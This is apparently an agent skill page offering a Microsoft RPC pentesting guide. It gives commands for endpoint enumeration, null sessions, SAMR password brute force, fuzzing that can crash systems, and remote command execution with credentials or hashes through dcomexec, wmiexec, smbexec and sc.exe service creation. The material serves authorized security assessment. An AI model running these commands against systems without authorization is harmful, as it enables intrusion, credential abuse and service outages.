# Msrpc Pentesting

> Pentest Microsoft RPC (MSRPC) services on ports 135, 593, 139, 445. Use this skill whenever you need to enumerate RPC endpoints, identify vulnerable interfaces, execute remote commands with valid credentials, or fuzz RPC services for vulnerabilities. Trigger this skill for any Windows network assessment involving RPC, DCOM, named pipes, or when you see open ports 135/593/139/445 during reconnaissance.

- Skill: `abelrguezr/msrpc-pentesting` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/msrpc-pentesting`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/msrpc-pentesting/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/msrpc-pentesting

---


# MSRPC Pentesting Skill

A comprehensive guide for testing Microsoft Remote Procedure Call (MSRPC) services during security assessments.

## Quick Start

```bash
# Basic RPC enumeration
rpcdump.py <target-ip> -p 135

# Metasploit RPC scanner
use auxiliary/scanner/dcerpc/endpoint_mapper
set RHOSTS <target-ip>
run

# Execute with valid credentials
python3 dcomexec.py <domain>/<user>:<password>@<target-ip>
```

## Port Overview

| Port | Protocol | Service |
|------|----------|----------|
| 135 | TCP/UDP | RPC Endpoint Mapper |
| 593 | TCP | HTTP RPC |
| 139 | TCP | NetBIOS/SMB RPC |
| 445 | TCP | Direct SMB RPC |

## 1. Enumerate RPC Services

### Using rpcdump

```bash
# Basic enumeration
rpcdump.py <target-ip> -p 135

# With specific port
rpcdump.py <target-ip> -p <port>
```

**Output format:**
```
IFID: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
Annotation: Messenger Service
UUID: 00000000-0000-0000-0000-000000000000
Binding: ncadg_ip_udp:<IP>[1028]
```

### Using Metasploit

```bash
msfconsole

# Endpoint mapper scanner
use auxiliary/scanner/dcerpc/endpoint_mapper
set RHOSTS <target-ip>
run

# Hidden services scanner
use auxiliary/scanner/dcerpc/hidden
set RHOSTS <target-ip>
run

# Management interface scanner
use auxiliary/scanner/dcerpc/management
set RHOSTS <target-ip>
run

# TCP DCERPC auditor
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
set RHOSTS <target-ip>
run
```

### Using Impacket rpcmap

```bash
# Enumerate with string binding
rpcmap.py <target-ip> -p 135

# With authentication
rpcmap.py <target-ip> -u <user> -p <password>
```

## 2. Critical RPC Interfaces

These IFIDs represent high-value targets for enumeration and exploitation:

| IFID | Named Pipe | Purpose | Risk |
|------|-----------|---------|------|
| 12345778-1234-abcd-ef00-0123456789ab | `\pipe\lsarpc` | User enumeration | Medium |
| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | `\pipe\lsarpc` | Domain/trust enumeration | Medium |
| 12345778-1234-abcd-ef00-0123456789ac | `\pipe\samr` | SAM database access | High |
| 1ff70682-0a51-30e8-076d-740be8cee98b | `\pipe\atsvc` | Task scheduler RCE | Critical |
| 338cd001-2244-31f1-aaaa-900038001003 | `\pipe\winreg` | Registry access | High |
| 367abb81-9844-35f1-ad32-98f038001003 | `\pipe\svcctl` | Service control RCE | Critical |
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | `\pipe\srvsvc` | Server services | High |
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | `\pipe\epmapper` | DCOM/WM access | Medium |

### SAMR Interface - Password Brute Force

The SAMR interface can brute-force passwords regardless of account lockout policy:

```bash
# Using rpcclient
rpcclient -U "<user>%<password>" <target-ip>

# Enumerate users
enumdomusers

# Query user info
querydomuser <username>
```

### Task Scheduler - Remote Command Execution

```bash
# Via atsvc pipe
python3 atsvc.py <target-ip> <command>
```

## 3. Remote Code Execution with Credentials

### Using dcomexec.py

```bash
# Basic execution
python3 dcomexec.py <domain>/<user>:<password>@<target-ip>

# With specific object
python3 dcomexec.py <domain>/<user>:<password>@<target-ip> -object ShellWindows
python3 dcomexec.py <domain>/<user>:<password>@<target-ip> -object ShellBrowserWindow
python3 dcomexec.py <domain>/<user>:<password>@<target-ip> -object MMC20

# With hash
python3 dcomexec.py <domain>/<user>:<hash>@<target-ip>

# With Kerberos
python3 dcomexec.py <domain>/<user>@<target-ip> -k
```

**Try all three objects** - different systems may have different DCOM configurations.

### Using wmiexec.py

```bash
python3 wmiexec.py <domain>/<user>:<password>@<target-ip>
```

### Using smbexec.py

```bash
python3 smbexec.py <domain>/<user>:<password>@<target-ip>
```

## 4. Port 593 (HTTP RPC)

```bash
# Using rpcdump.exe
rpcdump.exe <target-ip> -p 593

# Using curl for basic testing
curl -v http://<target-ip>:593/
```

## 5. IP Address Enumeration via IOXIDResolver

Abuse the ServerAlive2 method to enumerate network interfaces:

```bash
# Using IOXIDResolver
git clone https://github.com/mubix/IOXIDResolver
cd IOXIDResolver
python3 IOXIDResolver.py <target-ip>

# Alternative with rpcmap.py
rpcmap.py <target-ip> -p 135 --stringbinding
```

This can reveal IPv6 addresses and network interface information without authentication.

## 6. Advanced: RPC Fuzzing

### Using MS-RPC-Fuzzer

**Warning:** This is destructive testing. Always use isolated VM snapshots.

```powershell
# Import the module
Import-Module .\MS-RPC-Fuzzer.psm1

# Inventory interfaces from a binary
Get-RpcServerData -Target "C:\Windows\System32\efssvc.dll" -OutPath .\output

# Or crawl entire System32
Get-RpcServerData -OutPath .\output

# Run the fuzzer
'.\output\rpcServerData.json' |
    Invoke-RpcFuzzer -OutPath .\output `
                     -MinStrLen 100  -MaxStrLen 1000 `
                     -MinIntSize 9999 -MaxIntSize 99999

# With sorted execution (respects parameter dependencies)
'.\output\rpcServerData.json' |
    Invoke-RpcFuzzer -OutPath .\output -Sorted
```

**Output files:**
- `allowed.json` - Successful calls
- `denied.json` - Access denied responses
- `error.json` - Errors and crashes
- `log.txt` - Full execution log (last line shows crash trigger)

### Using NtObjectManager

```powershell
# Install module
Install-Module NtObjectManager -Force

# Parse RPC interfaces
$rpcinterfaces = Get-RpcServer "C:\Windows\System32\efssvc.dll"
$rpcinterfaces | Format-Table Name,Uuid,Version,Procedures

# Inspect a procedure
$rpcinterfaces[0].Procedures[0] | Format-List *

# Generate C# client stub
Format-RpcClient $rpcinterfaces[0] -Namespace MS_EFSR -OutputPath .\MS_EFSR.cs

# Create interactive client
$client = Get-RpcClient $rpcinterfaces[0]
Connect-RpcClient $client -stringbinding 'ncacn_np:127.0.0.1[\\pipe\\efsrpc]' `
                     -AuthenticationLevel PacketPrivacy `
                     -AuthenticationType WinNT

# Invoke procedure
$ctx = New-Object Marshal.NdrContextHandle
$client.EfsRpcOpenFileRaw([ref]$ctx, "\\127.0.0.1\test", 0)
```

### Context-Aware Fuzzing

```powershell
Invoke-MSRPCFuzzer -Pipe "\\.\pipe\efsrpc" -Auth NTLM `
                   -MinLen 1  -MaxLen 0x400 `
                   -Iterations 100000 `
                   -OutDir .\results
```

## 7. Visualize with Neo4j

```powershell
# Import fuzzing results to Neo4j
'.\output\allowed.json' |
    Import-DataToNeo4j -Neo4jHost 192.168.56.10:7474 -Neo4jUsername neo4j
```

**Graph structure:**
- Nodes: RPC servers, interfaces, procedures
- Relationships: ALLOWED, DENIED, ERROR interactions

**Example Cypher query:**
```cypher
MATCH (p:Procedure)-[r:ERROR]->(c:Crash)
RETURN p.name, p.opnum, c.payload
```

## 8. Binding Types

| Binding | Protocol | Port | Use Case |
|---------|----------|------|----------|
| `ncacn_ip_tcp` | TCP | 135 | Direct TCP RPC |
| `ncadg_ip_udp` | UDP | 135 | UDP RPC |
| `ncacn_np` | SMB | 139/445 | Named pipe RPC |
| `ncacn_http` | HTTP | 593 | HTTP RPC |

## 9. Authentication Levels

```powershell
# Available authentication levels
- None
- Connect
- Call
- Packet
- PacketIntegrity
- PacketPrivacy

# Available authentication types
- Null
- WinNT
- Kerberos
```

## 10. Common Attack Patterns

### Pattern 1: Null Session Enumeration

```bash
# Check for null session access
rpcclient -U ""%"" <target-ip>

# If successful, enumerate
enumdomusers
enumdomgroups
```

### Pattern 2: Service Control RCE

```bash
# Via svcctl pipe
python3 svcctl.py <target-ip> <command>

# Or use sc.exe from Windows
sc \\ <target-ip> create <service> binPath= "<command>"
sc \\ <target-ip> start <service>
```

### Pattern 3: Registry Manipulation

```bash
# Via winreg pipe
python3 winreg.py <target-ip> <key> <value>
```

## 11. Safety Guidelines

⚠️ **Critical Warnings:**

1. **Always test in isolated environments** - RPC fuzzing can cause BSODs
2. **Use VM snapshots** - Restore after destructive testing
3. **Get authorization** - Only test systems you own or have permission to test
4. **Monitor system stability** - Many RPC services run as SYSTEM
5. **Document findings** - Track which procedures cause crashes for PoC development

## 12. Troubleshooting

### Connection refused on port 135

```bash
# Check if firewall is blocking
nmap -p 135 <target-ip>

# Try alternative ports
rpcdump.py <target-ip> -p 593
```

### Authentication failures

```bash
# Try different auth methods
python3 dcomexec.py <user>:<password>@<target-ip> -k  # Kerberos
python3 dcomexec.py <user>:<hash>@<target-ip>         # NTLM hash
python3 dcomexec.py <user>:<password>@<target-ip> -no-pass  # No password
```

### Service crashes during fuzzing

```bash
# Check log.txt for last successful call
tail -n 10 log.txt

# Review error.json for crash details
cat error.json | jq '.[] | select(.status == "crash")'
```

## 13. References

- [MS-RPC-Fuzzer](https://github.com/warpnet/MS-RPC-Fuzzer)
- [NtObjectManager](https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/tree/master/NtObjectManager)
- [IOXIDResolver](https://github.com/mubix/IOXIDResolver)
- [Impacket](https://github.com/fortra/impacket)
- [0x00sec MSRPC Handbook](https://0xffsec.com/handbook/services/msrpc/)
- [Airbus IOXID Research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)

## 14. Quick Reference Card

```bash
# Enumeration
rpcdump.py <ip> -p 135
rpcmap.py <ip> -p 135

# RCE with credentials
dcomexec.py <user>:<pass>@<ip>
wmiexec.py <user>:<pass>@<ip>
smbexec.py <user>:<pass>@<ip>

# Metasploit
use auxiliary/scanner/dcerpc/endpoint_mapper
set RHOSTS <ip>
run

# Fuzzing (Windows only)
Get-RpcServerData -OutPath .\output
Invoke-RpcFuzzer -OutPath .\output
```

---

**Remember:** RPC vulnerabilities often lead to remote code execution or local privilege escalation. Always prioritize finding and documenting these issues during assessments.